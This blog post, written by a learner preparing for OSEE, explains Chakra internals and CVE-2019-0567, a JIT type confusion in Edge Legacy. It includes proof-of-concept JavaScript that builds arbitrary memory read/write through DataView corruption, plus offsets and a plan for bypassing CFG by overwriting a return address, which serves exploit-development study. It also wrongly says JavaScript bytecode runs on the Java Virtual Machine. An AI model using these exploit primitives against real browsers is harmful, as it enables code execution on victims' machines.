Chakra Type Confusion

Introduction

I’m taking Offensive Security’s PEN-401 course this summer in an attempt to earn my OSEE certification. It’s the most difficult and most technical course they currently offer. I really enjoyed earning my OSCE and OSED certifications through them and I figured some day I would make an attempt at the OSEE. I wasn’t expecting to go for it in 2022, but they reached out to me with an available spot and I couldn’t pass up the chance.

I’ve looked at the syllabus and although I passed their easier exploit development course, there are many topics that I have little to no experience with. Reading other peoples’ experiences with the Advanced Windows Exploitation (AWE) course at BlackHat leads me to believe it will be a ton of information crammed into a very short four days. I’ve decided to do some prep work ahead of time to try and make that four days easier. I figure if I have had at least some exposure to the concepts described in the course syllabus beforehand, then I can hopefully keep my head above water as the OffSec team attempts to drown me in information.

One of the topics mentioned in the course syllabus is “Microsoft Edge Type Confusion” including Microsoft Edge internals, JavaScript engine, Chakra internals, and JIT. These are all things I really have no experience with so I thought I’d do some research to learn what I could. The syllabus doesn’t mention any specific vulnerability so this is more about learning the general concepts and then hopefully being able to apply them more easily in the class.

This blog post serves as a way for me to explain what I’ve learned about the bug to better solidify my own understanding of it. I’ve found that when I try to teach or explain a concept I find holes in my knowledge and I end up filling them in and learning the material better.

Resources

I found an excellent blog series from Connor McGarr describing a specific Microsoft Edge Type Confusion vulnerability. It explains how it works in detail and includes step by step instructions for building a lab environment, writing PoC code, debugging, and writing a functional exploit. This was my primary learning source for this particular bug and I highly recommend you read the series if you are interested in learning more about this. My own blog post will be basically a summary of what I learned from Connor’s blog to the best of my understanding.

Windows VM:

Connor doesn’t mention in his blog where you can find a copy of the vulnerable version of Windows 10. I found that you can download a test VM straight from Microsoft’s archives here: https://az792536.vo.msecnd.net/vms/VMBuild_20170320/VMWare/MSEdge/MSEdge.Win10.RS2.VMWare.zip

Other references:

Background

It helps to have some background information about the vulnerable technology. This section will review some historical background and some technical definitions. These things will be relevant later on.

Microsoft Edge, JavaScript, and Chakra

Microsoft Edge is Microsoft’s web browser that comes bundled with Windows. Before 2020, Microsoft Edge used Microsoft’s own JavaScript engine called Chakra. Chakra was open sourced in 2015 under the name ChakraCore. As of 2020, Microsoft released a new version of Edge browser that no longer uses Chakra. Instead, it uses the V8 JavaScript engine, which is the same engine the Chromium browser uses. Chromium is what Google bases its own Google Chrome browser on. So these days, Microsoft Edge and all Chromium based browsers rely on the same V8 JavaScript engine. The older Chakra version of Edge is now called Microsoft Edge Legacy. The Type Confusion bug described in this blog post affects the Chakra JavaScript engine and therefore only affects Edge Legacy and only up to a specific version before Microsoft released a patch.

Just-in-Time (JIT)

Compiled Languages

A compiled language has all of its source code turned into “machine code” at once, before execution. A compiled program would be generate different outputs for different CPU architectures. The resulting executable binary would then only run on a designated target architecture.

Machine Code

Machine code is the actual CPU instructions for a specific process. It is the lowest level of code, represented in binary ones and zeros. Machine code that is designed for a specific CPU architecture will not run properly on another. A CPU can directly execute machine code.

Interpreted Languages and Byte Code

JavaScript is an “interpreted” programming language as opposed to a “compiled” language. An interpreted language is not compiled ahead of time. Instead, the source code is converted to “byte code”, which is a sort of intermediary state between the raw source code and machine code. Byte code cannot be directly executed by a real CPU. JavaScript byte code is intended to be “interpreted” by the Java Virtual Machine (JVM).

A single output of byte code can be executed on any platform that has a JVM available. For example, the same program can be executed on Windows 10 with a 64-bit CPU or on a Raspberry Pi with an ARM CPU. The platform’s JVM converts the byte code into machine code that is specific to that system’s architecture. This way the source code is more portable. It doesn’t have to be modified for each architecture because the JVM handle’s any necessary conversions.

Since the byte code is not executable by the CPU, each byte code instruction must be converted to machine code on the fly at run time. The downside of this is that there is a performance hit. It takes time to convert each instruction to machine code before execution. This is especially evident in a loop situation. If a JavaScript program has a loop that runs 1000 times, the byte code in that loop would have to be converted to machine code 1000 times, even if it never changes. This is obviously less efficient than a compiled language.

Just-in-Time Compilers

To help with JavaScript’s efficiency as an interpreted language, JavaScript engines often implement a just-in-time (JIT) compiler. The engine uses a “monitor” to keep an eye on the code over time. If the monitor sees same bit of code executed multiple times, that code is considered “warm”. If it gets executed many times over, it’s considered “hot”.

When code becomes hot, the JavaScript engine compiles the code into a “stub” of machine code. From then on, when that line of code is executed, the engine will just use the pre-compiled stub instead of interpreting the byte code into machine code with each execution. This saves time and helps to make the JavaScript program run faster. How exactly a JavaScript engine makes these decisions and implements these concepts is different for each engine, but the general idea is the same with each.

Problems can arise, however. For example the program could contain a function that accepts a single variable as input. If the program calls the function 1000 times with a number variable passed into it, the monitor might think that the function will only ever be called with a number. It would then compile the byte code into a stub that expects only a number. It could happen that somewhere else in the program’s code the function is called with a string instead of a number. The pre-compiled stub would then malfunction because it was compiled with the expectation that it would receive a number. The monitor must look out for this type of scenario and act accordingly to avoid problems.

JavaScript Primitives

JavaScript has six “primitive” data types:

  • null
  • undefined
  • strings
  • numbers
  • booleans
  • symbols

The primitive types do not have additional properties. For example, a number primitive simply holds a number value and nothing more. For example:

var i = 12;

In the example, variable i simply holds the number 12. There’s nothing more to it. There are no other properties associated with it. Well, that’s a lie. JavaScript will wrap the primitive in an object with some helper methods so you are ultimately interacting with the primitive using an object. For example:

i.toString()
"12"

Although the i variable was not created with a toString() method, it has one anyway. This is because the number primitive is wrapped in an object that contains the toString() method by default.

JavaScript Objects

Everything that is not a primitive type is considered an “object”. An object has various properties that can be referenced. For example:

let obj = {a: 12, b: 24};

The above obj variable contains multiple properties a and b. There’s more than just one simple primitive type. You can reference each property like this:

obj.a;  // 12
obj.b;  // 24

Object Prototypes

JavaScript has a built-in base object aptly named “Object”. Object has built-in properties and methods that may be useful to other objects that are created. When you create a new object in your JavaScript code, that new object is actually created from an instance of the “Object” object by default. Your new object’s custom properties and methods are then added on top of those that already exist in the “Object” object. Therefore, your custom object’s “prototype” is the “Object” object. Here’s an example of how this can look in a browser’s JavaScript console:

> let test = {a:1, b:2};

> test
Object { a: 1, b: 2 }

In the above example, an object is created called “test” and it contains two properties, a and b. The object is then displayed and reveals two properties as expected. However, the “test” object was based on the “Object” object by default and therefore has additional properties and methods available to it that are hidden. The “test” object’s prototype can be examined like this:

> test.__proto__
Object { … }

The result is the “Object” object. If the Object object is expanded, it’s methods and properties are revealed. These can be used from the “test” object, even though they were not created for or specifically applied to the test object..

> test.__proto__
Object { … }
    __defineGetter__: function __defineGetter__()
    __defineSetter__: function __defineSetter__()
    __lookupGetter__: function __lookupGetter__()
    __lookupSetter__: function __lookupSetter__()
    __proto__
    constructor: function Object()
    hasOwnProperty: function hasOwnProperty()
    isPrototypeOf: function isPrototypeOf()
    propertyIsEnumerable: function propertyIsEnumerable()
    toLocaleString: function toLocaleString()
    toString: function toString()
    valueOf: function valueOf()
    <get __proto__()>: function __proto__()
    <set __proto__()>: function __proto__()

Even though these properties were not created for the test object, they can still be used from the test object because the test object uses Object as it’s prototype. So for example, the toString() function can be called to convert the new test object to a string using Object’s built-in toString() function.

> test.toString();
"[object Object]" 

The test object’s prototype can also be changed to null and the object will lose access to Object’s functions and only have access to properties and methods specifically created in the test object.

> test.__proto__ = null;
null

> test.__proto__
undefined

> test.toString()
Uncaught TypeError: obj.toString is not a function
    <anonymous> debugger eval code:1
debugger eval code:1:5

The test object’s prototype can also be changed to some other object. Similarly, a new object can be created called “test2” and it can use the test object as it’s prototype. This would give test2 access to the same properties as test while also being able to build on top of it.

> let test2 = {c: 3, __proto__: test};

> test2
Object { c: 3 }

> test2.a
1 

In the above example, test2 is created with only one property of c, but the prototype is set to test. When test2’s properties are checked, only c is visible. But when test2.a is accessed, it returns the expected result of 1, because that is the test object’s ‘a’ property. If prototype’s a property is changed to a different value, this is reflected in test2’s property as well:

> test.a = 10;
10

> test2.a
10 

JavaScript can have chains of prototypes where objects are built on objects which are built upon other objects and so on. If a piece of code attempts to access an object’s property and it does not exist within that object, the JavaScript engine will check the object’s prototype for that property. If it does not exist there, the engine will check the next prototype up the chain and so on until it reaches an object with a prototype of “null”. At that point it will return “undefined”.

JavaScript Dynamic Objects

Chakra Types

JavaScript is an untyped language, but the Chakra engine does have data structures in the Chakra runtime which are known as “types”. Chakra has static types and dynamic types. JavaScript primitives are stored as a static type, whereas objects with properties are stored as dynamic types. Static types are not relevent to this type confusion bug, so they are not discussed here. What is important, is how Chakra stores dynamic types in memory.

Chakra Dynamic Types

When a dynamic type object is created with all properties declared in-line, Chakra stores the object in a simple structure with each property stored one after the other. Here’s an example of an in-line declaration:

let obj = {a: 1, b: 2}

The above object has two properties a and b, both declared in-line at the time of the object creation. Therefore, Chakra will store this object in memory in a simple structure similar to the following:

0x00000000`00000000  00007ff8`2d597af0   // chakracore!Js::DynamicObject::'vftable'
0x00000000`00000008  000002ab`f7eb1840   // Type pointer
0x00000000`00000010  00010000`00000001   // property a: 1
0x00000000`00000018  00010000`00000002   // property b: 2

There are four QWORDS (collection of eight bytes) in this structure. The first QWORD is a pointer to the DynamicObject virtual function table. The second QWORD is a “type” pointer. I’m actually not sure what its normal purpose is, but it will come in handy later on. The final two QWORDS can be split into two DWORDS (collection of four bytes). Most JavaScript engines only allow for 32 bit values, so when integers are stored in properties a and b, only the lower DWORD is needed to save that data. That’s why the lower DWORDS are set to 0x00000001 and 0x00000002. These are the values of properties a and b. The upper DWORD for each property is set to 0x00010000. Chakra uses the upper DWORD to store type information about the property. In this case, 0x00010000 represents an integer value. This memory layout will be referred to as “layout A” moving forward in this blog post.

Objects can also contain properties that are not declared in-line at the objects creation time. Here’s an example of an object being created in this way:

let a = {}; // No properties declared in-line
a.b = 1;    // Property 'b' added
a.c = 2;    // Property 'c' added
a.d = 3;    // Property 'd' added
a.e = 4;    // Property 'e' added

The object a is created initially with no properties. Then properties b, c, d, and e are added. In this case, Chakra stores the object details in memory in a slightly different way. Chakra can’t know ahead of time what properties may be added or removed from the object, so the initial object structure contains a pointer to an array referred to as “auxSlots”. The auxSlots array contains all of the properties belonging to the original object. Here is an example of what the above object could look like:

// 'a' object structure
0x00000000`00000000  00007ff8`2d597af0   // chakracore!Js::DynamicObject::'vftable'
0x00000000`00000008  00000170`95cb17c0   // Type pointer
0x00000000`00000010  00000170`95cb51a0   // Pointer to auxSlots array

// auxSlots array
0x00000170`95cb51a0  00010000`00000001   // property b
0x00000170`95cb51a8  00010000`00000002   // property c  
0x00000170`95cb51b0  00010000`00000003   // property d
0x00000170`95cb51b8  00010000`00000004   // property e

This memory layout will be referred to as “layout B” moving forward in this blog post.

Type Transition

Sometimes Chakra will need to alter an object’s layout in memory. For example, if an object is created with in-line properties it will be created with layout A. If a new property is added to the object later in the code, Chakra will “transition” the object to layout B. Here is an example of JavaScript code where this type transition would take place.

let a = {b: 1, c: 2, d: 3, e: 4};
a.f = 5;

When the object is first created in the above example (first line of code), it would use layout A similar to the following example:

0x00000000`00000000  00007ff8`2d597af0   // chakracore!Js::DynamicObject::'vftable'
0x00000000`00000008  000002ab`f7eb1840   // Type pointer
0x00000000`00000010  00010000`00000001   // property b
0x00000000`00000018  00010000`00000002   // property c
0x00000000`00000020  00010000`00000002   // property d
0x00000000`00000028  00010000`00000002   // property e

Once the second line is executed, a new property is added to the object. Chakra then transitions the object to use layout B where the properties are stored in an auxSlots array. It would look something like this:

// 'a' object structure
0x00000000`00000000  00007ff8`2d597af0   // chakracore!Js::DynamicObject::'vftable'
0x00000000`00000008  00000170`95cb17c0   // Type pointer
0x00000000`00000010  00000170`95cb51a0   // Pointer to auxSlots array

// auxSlots array
0x00000170`95cb51a0  00010000`00000001   // property b
0x00000170`95cb51a8  00010000`00000002   // property c  
0x00000170`95cb51b0  00010000`00000003   // property d
0x00000170`95cb51b8  00010000`00000004   // property e
0x00000170`95cb51c0  00010000`00000004   // property f

Another reason Chakra might perform a type transition is if an object is used as a prototype for another object. This is key to the type confusion vulnerability discussed later.

DataView Objects

A DataView object provides a way to read or write data to and from a raw buffer in memory with a specified endianness. You can use it to manipulate 8-bit, 16-bit, 32-bit, and (for some browsers) 64-bit chunks of memory. Creating a DataView object looks like this:

dv = new DataView(new ArrayBuffer(0x100));

This code first creates an ArrayBuffer of size 0x100 bytes. This is just a newly allocated chunk of memory. The DataView is then created and points to that ArrayBuffer. The DataView can be read from like this:

dv.getUint32(0x0, true);

That code reads a four byte chunk of memory from offset 0x0 of the ArrayBuffer. The “true” boolean specifies that we want the data in little endian format. Writing data is done similarly:

dv.setUint32(0x0, 0x41414141, true);

The above code writes the value 0x41414141 to offset 0x0 of the ArrayBuffer in little endian format. One can imagine that if there were some way to point this DataView object at an arbitrary memory location, it could do some serious damage…

CVE-2019-0567

Proof of Concept

Below is the proof of concept code provided with Google Project Zero’s vulnerability disclosure.

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, 0x1234);

    print(o.a);
}

main();

Breaking this down, the main() function is first called. The loop at the top of the function is run 2000 times. The loop creates an object called “o” with two in-line properties. Property a is set to 1 and b is set to 2. Because the properties were created in-line, Chakra would have used memory layout A to store them. It would look something like this:

00000000,00000000  00007ff8`2d597af0   // chakracore!Js::DynamicObject::'vftable'
00000000,00000008  000002ab`f7eb1840   // Type pointer
00000000,00000010  00010000`00000001   // property a
00000000,00000018  00010000`00000002   // property b

The loop then calls a function opt(), providing it the o object and two empty objects “{}”.

The first line of opt() changes o’s b property to 1. The object in memory would now look like this:

00000000,00000000  00007ff8`2d597af0   // chakracore!Js::DynamicObject::'vftable'
00000000,00000008  000002ab`f7eb1840   // Type pointer
00000000,00000010  00010000`00000001   // property a
00000000,00000018  00010000`00000001   // property b updated

It then creates a new object called “tmp” with an in-line property “proto” set to a value of “{}”. This effectively does nothing and the tmp object’s prototype will still be set to the default Object object. No other properties are created for the tmp object. The last line of opt() sets o’s ‘a’ property to {}, which converts ‘a’ from a number to an empty instance of Object. Now the object in memory would look something like this:

// o object structure
00000000`00000000  00007ffb`54c450d0 chakracore!Js::DynamicObject::`vftable'
00000000`00000008  00000190`ff381880 
00000000`00000010  00000190`ff385200    // property a is now a pointer to an object
00000000`00000018  00010000`00000001    // property b unchanged

// Property a object structure
00000190`ff385200  00007ffb`54c450d0 chakracore!Js::DynamicObject::`vftable'
00000190`ff385208  00000190`ff372c40
00000190`ff385210  00000000`00000000

Notice how o’s properties are stored in the third and fourth QWORD of o’s structure. After the loop runs 2000 times, the opt() function moves into the “hot” state and Chakra compiles it into a stub for efficiency. So far, opt() has only ever been called with the same three arguments over and over, so the stub is compiled to expect those same arguments each time. The o object that was passed in as the first parameter has always had its properties declared in-line and therefore has always used memory layout A (with no auxSlots array) to store its properties. The compiled stub therefore expects this to be true moving forward.

Then, main() creates a new ‘o’ object like before with properties a and b declared in-line. It then calls opt() again, but this time opt() has different arguments passed to it. The o object is passed in as the first argument just like before. The second argument this time is also o instead of {}. The hex value 0x1234 is passed in as the third argument. When opt() executes this time, it sets tmp’s prototype to o instead of {} like before. When this happens, Chakra performs a type transition on the o object and converts it to memory layout B which uses the auxSlots array to store its properties. In memory it would now look something like this:

// 'o' object structure
0x00000000`00000000  00007ff8`2d597af0   // chakracore!Js::DynamicObject::'vftable'
0x00000000`00000008  00000170`95cb17c0   // Type pointer
0x00000000`00000010  00000170`95cb51a0   // Pointer to auxSlots array

// auxSlots array
0x00000170`95cb51a0  00010000`00000001   // property a
0x00000170`95cb51a8  00010000`00000001   // property b  

Notice how the third QWORD of o’s structure in memory is now a pointer to auxSlots instead of containing the raw value for property a. With this final execution, opt() is now running in a pre-compiled stub and is unaware that this memory layout has changed. When the final line of opt() executes, it sets o.a to 0x1234. The stub thinks that the o object is still using memory layout a, so it writes the value 0x1234 to the third QWORD in the structure, overwriting the auxSlots pointer. In memory, this would look like:

// 'o' object structure
0x00000000`00000000  00007ff8`2d597af0   // chakracore!Js::DynamicObject::'vftable'
0x00000000`00000008  00000170`95cb17c0   // Type pointer
0x00000000`00000010  00010000`00001234   // Pointer to auxSlots array overwritten with 0x1234

// auxSlots array
0x00000170`95cb51a0  00010000`00000001   // property a now unreachable
0x00000170`95cb51a8  00010000`00000001   // property b now unreachable

The program continues execution as normal until it hits the final line of main() where it attempts to print the value of o.a. Chakra tries to access o.a in memory. It knows that o is now using memory layout B and o.a should be stored as the first value in the auxSlots array. Before it can read from auxSlots, it must learn where auxSlots is stored in memory. It therefore looks at the structure’s third QWORD to find the address of auxSlots. That value was overwritten with 00010000`00001234. Chakra doesn’t realize that this is no longer the auxSlots address so it attempts to read the value stored at memory address 00010000`00001234. This is an invalid memory address. The attempted read operation triggers an access violation and Chakra crashes.

Arbitrary Read and Write Primitives

This is an interesting bug, but how can it be weaponized into an exploit? At first glance it seems like the auxSlots address could be overwritten with any value by passing the value to the opt() function in place of the 0x1234 value. However, this is not the case in a 64-bit architecture. Remember that most JavaScript engines only allow for 32-bit values (excluding pointers). This means only the lower DWORD of the auxSlots pointer can be directly modified. The higher DWORD will be mangled by Chakra when it stores the value’s type information there (0x00010000). This is where the previously discussed DataView object comes to the rescue.

A DataView object is stored in memory as a structure of QWORDS that hold various information about the object. At offset 0x38, there is a pointer to the ArrayBuffer object that the DataView reads from and writes to. If there were some way to corrupt that pointer, it might be possible to change where the DataView can read and write. This would allow for malicious code to perform an arbitrary read or write for any memory address (read primitive and write primitive). It turns out that there is a way to do this using the type confusion bug.

The proof of concept code uses a chain of four objects to get this job done:

let o2 = {}
o2.a = 1;
o2.b = 2;
o2.c = 3;
o2.d = 4;
o2.e = 5;
o2.f = 6;
o2.g = 7;
o2.h = 8;
o2.i = 9;
o2.j = 10;

dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o1 = {a: 1, b: 2};

    opt(o1, o1, o2);		// Corrupt o's auxSlots to point at obj
    o1.c = dv1;    		    // Corrupt obj auxSlots to point at dv1
    o2.h = dv2;		        // Corrupt dv1 so it actually manipulates the metadata for dv2
    dv1.setUint32(0x38, 0x41414141, true);	// Overwrite dv2 buffer pointer to 0x41414141
    dv1.setUint32(0x3C, 0x41414141, true);
	
    vtableLo   = dv1.getUint32(0, true);
    vtableHigh = dv1.getUint32(4, true);
    print("Leaked Address: " + vtableHigh.toString(16) + "'" + vtableLo.toString(16));

    print(dv2.getUint32(0x00, true));
}

main();

This looks a bit different but has some similarities to the original PoC. It has the same opt function and the same for loop that runs 2000 times. Nothing new there. The first difference is in the main function, when opt() is called the final time, it is no longer passed the static value 0x1234. This time, a different object called “o2” is passed. The result of the call to opt() is that o1’s auxSlots pointer is corrupted and now points to the o2 object. It doesn’t point to o2’s properties. It points to the actual memory structure that defines the o2 object. It would look something like this in memory:

// 'o1' object structure
0x00000000`00000000  00007ff8`2d597af0   // chakracore!Js::DynamicObject::'vftable'
0x00000000`00000008  00000170`95cb17c0   // Type pointer
0x00000000`00000010  00000000`00001000   // **Pointer to auxSlots array corrupted with pointer to object "o2"

// 'o2' object structure
0x00000000`00001000  00007ff8`2d597af0   // chakracore!Js::DynamicObject::'vftable' (o.a property)
0x00000000`00001008  00000170`95cb17c0   // Type pointer                            (o.b property)
0x00000000`00001010  00000170`95cb51a0   // Pointer to o2's auxSlots array

// 'o2' auxSlots array
0x00000170`95cb51a0  00010000`00000001   // property a
0x00000170`95cb51a8  00010000`00000002   // property b  
0x00000170`95cb51b0  00010000`00000003   // property c
0x00000170`95cb51b8  00010000`00000004   // property d
...
0x00000170`95cb51e8  00010000`0000000a   // property j

The o2 object is created at the top of the PoC. It has no in-line properties but it has ten properties added just after instantiation. Therefore Chakra will store this object in memory using layout B with the auxSlots array. This is reflected in the above memory layout example. The next line of JavaScript code creates a new property for the o1 object called o1.c:

o1.c = dv1;

The new property is set to the memory address of the dv1 DataView object. Chakra creates this property o1.c by adding the address of the dv1 object to o1’s auxSlots array. But the array pointer was corrupted and actually points to the o2 object. Therefore, o2’s auxSlots array gets overwritten with the address of dv1. The memory layout now looks like this:

// 'o1' object structure
0x00000000`00000000  00007ff8`2d597af0   // chakracore!Js::DynamicObject::'vftable'
0x00000000`00000008  00000170`95cb17c0   // Type pointer
0x00000000`00000010  00000000`00001000   // **Pointer to auxSlots array corrupted with pointer to object "o2"

// 'o2' object structure
0x00000000`00001000  00007ff8`2d597af0   // chakracore!Js::DynamicObject::'vftable'
0x00000000`00001008  00000170`95cb17c0   // Type pointer
0x00000000`00001010  00000000`00002000   // **Pointer to auxSlots array corrupted with pointer to dv1 object

// 'dv1' object structure
0x00000000`00002000  00007ff8`2d597af0   // chakracore!Js::DataView::'vftable'
0x00000000`00002008  00000170`95cb17c0   // Type pointer
0x00000000`00002010  00000170`95cb17c0   // Other data...
0x00000000`00002018  00000170`95cb17c0   // Other data...
...
0x00000000`00002030  00000170`95cb17c0   // Other data...
0x00000000`00002038  00000000`10000000   // **Pointer to ArrayBuffer array 

// ArrayBuffer array
0x00000000`10000000  00000000`00000000   // Empty ArrayBuffer array data
0x00000000`10000008  00000000`00000000   // Empty ArrayBuffer array data
0x00000000`10000010  00000000`00000000   // Empty ArrayBuffer array data
...

Now that o2’s auxSlots pointer has been corrupted, o2’s properties will point at the various metadata for the dv1 DataView object instead of their original real properties. The next line of PoC code modifies one of o2’s properties (and therefore modifies dv1’s metadata):

o2.h = dv2;

This line modifies o2’s ‘h’ property, which is the 10th property in the o2 object. o2.h therefore points to dv1’s ArrayBuffer pointer at offset 0x38. The line of code above reconfigures dv1 so it no longer reads and writes to the ArrayBuffer. Instead, it will read and write to the dv2 DataView object’s metadata. The memory layout would now look like this:

// 'o1' object structure
0x00000000`00000000  00007ff8`2d597af0   // chakracore!Js::DynamicObject::'vftable'
0x00000000`00000008  00000170`95cb17c0   // Type pointer
0x00000000`00000010  00000000`00001000   // **Pointer to auxSlots array corrupted with pointer to object "o2"

// 'o2' object structure
0x00000000`00001000  00007ff8`2d597af0   // chakracore!Js::DynamicObject::'vftable'
0x00000000`00001008  00000170`95cb17c0   // Type pointer
0x00000000`00001010  00000000`00002000   // **Pointer to auxSlots array corrupted with pointer to dv1 object

// 'dv1' object structure
0x00000000`00002000  00007ff8`2d597af0   // chakracore!Js::DataView::'vftable'
0x00000000`00002008  00000170`95cb17c0   // Type pointer
0x00000000`00002010  00000170`95cb17c0   // Other data...
0x00000000`00002018  00000170`95cb17c0   // Other data...
...
0x00000000`00002030  00000170`95cb17c0   // Other data...
0x00000000`00002038  00000000`00003000   // **Pointer to ArrayBuffer array corrupted with pointer to dv2 object

// 'dv2' object structure
0x00000000`00003000  00007ff8`2d597af0   // chakracore!Js::DataView::'vftable'
0x00000000`00003008  00000170`95cb17c0   // Type pointer
0x00000000`00003010  00000170`95cb17c0   // Other data...
0x00000000`00003018  00000170`95cb17c0   // Other data...
...
0x00000000`00003030  00000170`95cb17c0   // Other data...
0x00000000`00003038  00000000`20000000   // **Pointer to ArrayBuffer array

// ArrayBuffer array
0x00000000`20000000  00000000`00000000   // Empty ArrayBuffer array data
0x00000000`20000008  00000000`00000000   // Empty ArrayBuffer array data
0x00000000`20000010  00000000`00000000   // Empty ArrayBuffer array data

At this point, the dv1 DataView object points to the dv2 object’s metadata. A DataView object can write arbitrary memory in chunks of eight bytes at a time. This means it can overwrite dv2’s metadata with no restrictions. The upper DWORD will no longer be mangled with type information. dv1 can be used once to write eight bytes to the low DWORD and then again to overwrite the high DWORD. Once complete, dv1’s ArrayBuffer pointer can point to any arbitrary location. In the above PoC, the code overwrites dv2’s ArrayBuffer pointer with an invalid memory address of 0x41414141`41414141:

dv1.setUint32(0x38, 0x41414141, true);	// Overwrite dv2 buffer pointer high DWORD to 0x41414141
dv1.setUint32(0x3C, 0x41414141, true);  // Overwrite dv2 buffer pointer low DWORD to 0x41414141

Finally, the memory layout now looks like this:

// 'o1' object structure
0x00000000`00000000  00007ff8`2d597af0   // chakracore!Js::DynamicObject::'vftable'
0x00000000`00000008  00000170`95cb17c0   // Type pointer
0x00000000`00000010  00000000`00001000   // **Pointer to auxSlots array corrupted with pointer to object "o2"

// 'o2' object structure
0x00000000`00001000  00007ff8`2d597af0   // chakracore!Js::DynamicObject::'vftable'
0x00000000`00001008  00000170`95cb17c0   // Type pointer
0x00000000`00001010  00000000`00002000   // **Pointer to auxSlots array corrupted with pointer to dv1 object

// 'dv1' object structure
0x00000000`00002000  00007ff8`2d597af0   // chakracore!Js::DataView::'vftable'
0x00000000`00002008  00000170`95cb17c0   // Type pointer
0x00000000`00002010  00000170`95cb17c0   // Other data...
0x00000000`00002018  00000170`95cb17c0   // Other data...
...
0x00000000`00002030  00000170`95cb17c0   // Other data...
0x00000000`00002038  00000000`00003000   // **Pointer to ArrayBuffer array corrupted with pointer to dv2 object

// 'dv2' object structure
0x00000000`00003000  00007ff8`2d597af0   // chakracore!Js::DataView::'vftable'
0x00000000`00003008  00000170`95cb17c0   // Type pointer
0x00000000`00003010  00000170`95cb17c0   // Other data...
0x00000000`00003018  00000170`95cb17c0   // Other data...
...
0x00000000`00003030  00000170`95cb17c0   // Other data...
0x00000000`00003038  41414141`41414141   // **Pointer to ArrayBuffer array corrupted with invalid address

At this point, dv2 points to a memory address that is completely under the attacker’s control. The DataView can be read from or written to using the getUint32() or setUint32() methods. The next question is what memory address would need to be read or written to do something useful? How can this arbitrary read and write primitive be abused to gain code execution?

Code Execution

Control Flow Guard (CFG)

One way to obtain arbitrary code execution with a write primitive is to overwrite a function pointer to point to attacker-controlled code. However, in this case ChakraCore and Edge are both compiled with Control Flow Guard (CFG) enabled. CFG is an exploit mitigation that injects a check before every indirect function call at compile time. Before the indirect function is actually called, CFG ensures that the target address is valid. If it is invalid, the program terminates. Therefore, code execution cannot be obtained in this case by overwriting a function pointer.

The good news as the attacker is that CFG only protects “forward-edge” control-flow instructions like CALL or JMP. It does not check backward-edge cases such as return instructions (RET). This means that if an attacker can overwrite a function return address, they can redirect code execution to a location of their choosing. This is very similar to a classic stack overflow where the attacker overflows a buffer and ultimately overwrites a return address.

The next challenge to conquer is locating a stack address containing a return address. The stack address range can change every time the browser runs, so it cannot be hardcoded in. The current stack base address or stack limit address must be identified before adding or subtracting an offset to a known return address. The technique used in this proof of concept follows this procedure:

  1. Leak a chakracore.dll module address
  2. Calculate the base address of chakracore.dll
  3. Add an offset to a known return address
  4. Leak an address in the stack
  5. Calculate the highest stack address possible (stack limit)
  6. Scan stack memory for the previously calculated known return address
  7. Overwrite the return address with a malicious address

The Google Project Zero team published an issue in 2017 describing a way to obtain a stack address starting from any JavaScript variable that isn’t a tagged int. So… basically any JavaScript variable. There is apparently a chain of pointers that can be followed that will eventually lead to a stack pointer. The chain looks like this, starting with a variable named Var:

Var->type->javascriptLibrary->scriptContext->threadContext

The threadContext object contains multiple stack pointers, including stackLimitForCurrentThread, which provides the maximum value of the stack for the current thread.

As seen earilier, dynamic objects have a memory layout that begins with a vftable as the first hidden property. The second hidden property is a type pointer. The third would be the auxSlots pointer. The type confusion bug can be used to read the type pointer and obtain an address to javascriptLibrary. From there pointers can be followed all the way down the line until the leafInterpreterFrame pointer is reached which will point back to the stack. All that is required is to know at what offset in each object the relevant pointers are stored. It turns out that the pointer offsets are slightly different in Edge with Chakra and the open source ChakraCore. Also, the stackLimitForCurrentThread offset is not reliable in Edge and cannot be used. The leafInterpreterFrame pointer can be used instead.

// Edge offsets
Type:                       +0x08
javaScriptLibrary:          +0x08
scriptContext:              +0x450
threadContext:              +0x3b8
leafInterpreterFrame        +0x8f8

// ChakraCore offsets
Type:                       +0x08
javaScriptLibrary:          +0x08
scriptContext:              +0x430
threadContext:              +0x5c0
stackLimitForCurrentThread  +0xc8

Finding a RET Address

When a program’s function call is complete, the CPU needs to know where to point RIP to continue execution. Therefore, when a program calls a function, it first pushes a return address onto the stack. The CPU just needs to pop the return address off of the stack and stick it in RIP to continue execution. For this exploit, the idea is to overwrite a saved return address so when the associated function completes, a custom value is popped into RIP instead of the original return address.

The first step is to find a return address saved somewhere on the stack so it can be overwritten later. To do this, I executed the PoC code with WinDbg and paused execution in the middle on a print statement.

0:002> bp CH!WScriptJsrt::EchoCallback

Next, I checked the call stack in WinDbg to see a list of all return addresses. Down on line 22 there’s reference to chakracore!JsRun+0x40, which is the same pointer Connor used in his blog post. The address for chakracore!JsRun+0x40 is actually on line 21, 00007ffb`54ae8f20.

0:002> k
 # Child-SP          RetAddr               Call Site
00 0000003a`f39fd6c8 00007ffb`54ae2b31     CH!WScriptJsrt::EchoCallback [c:\users\ieuser\documents\typeconfusion\chakracore\bin\ch\wscriptjsrt.cpp @ 122] 
01 0000003a`f39fd6d0 00007ffb`53de256d     chakracore!JsNativeFunctionWrapper+0x51 [c:\users\ieuser\documents\typeconfusion\chakracore\lib\jsrt\jsrt.cpp @ 2864] 
02 0000003a`f39fd720 00007ffb`54059b12     chakracore!Js::JavascriptExternalFunction::StdCallExternalFunctionThunk+0x35d [c:\users\ieuser\documents\typeconfusion\chakracore\lib\runtime\library\javascriptexternalfunction.cpp @ 305] 
03 0000003a`f39fd830 00007ffb`53dd103a     chakracore!amd64_CallFunction+0x82 [c:\Users\IEUser\Documents\TypeConfusion\ChakraCore\lib\Runtime\Library\amd64\JavascriptFunctionA.asm @ 208] 
04 0000003a`f39fd880 00007ffb`53b54d05     chakracore!Js::JavascriptFunction::CallFunction<1>+0x11a [c:\users\ieuser\documents\typeconfusion\chakracore\lib\runtime\library\javascriptfunction.cpp @ 1340] 
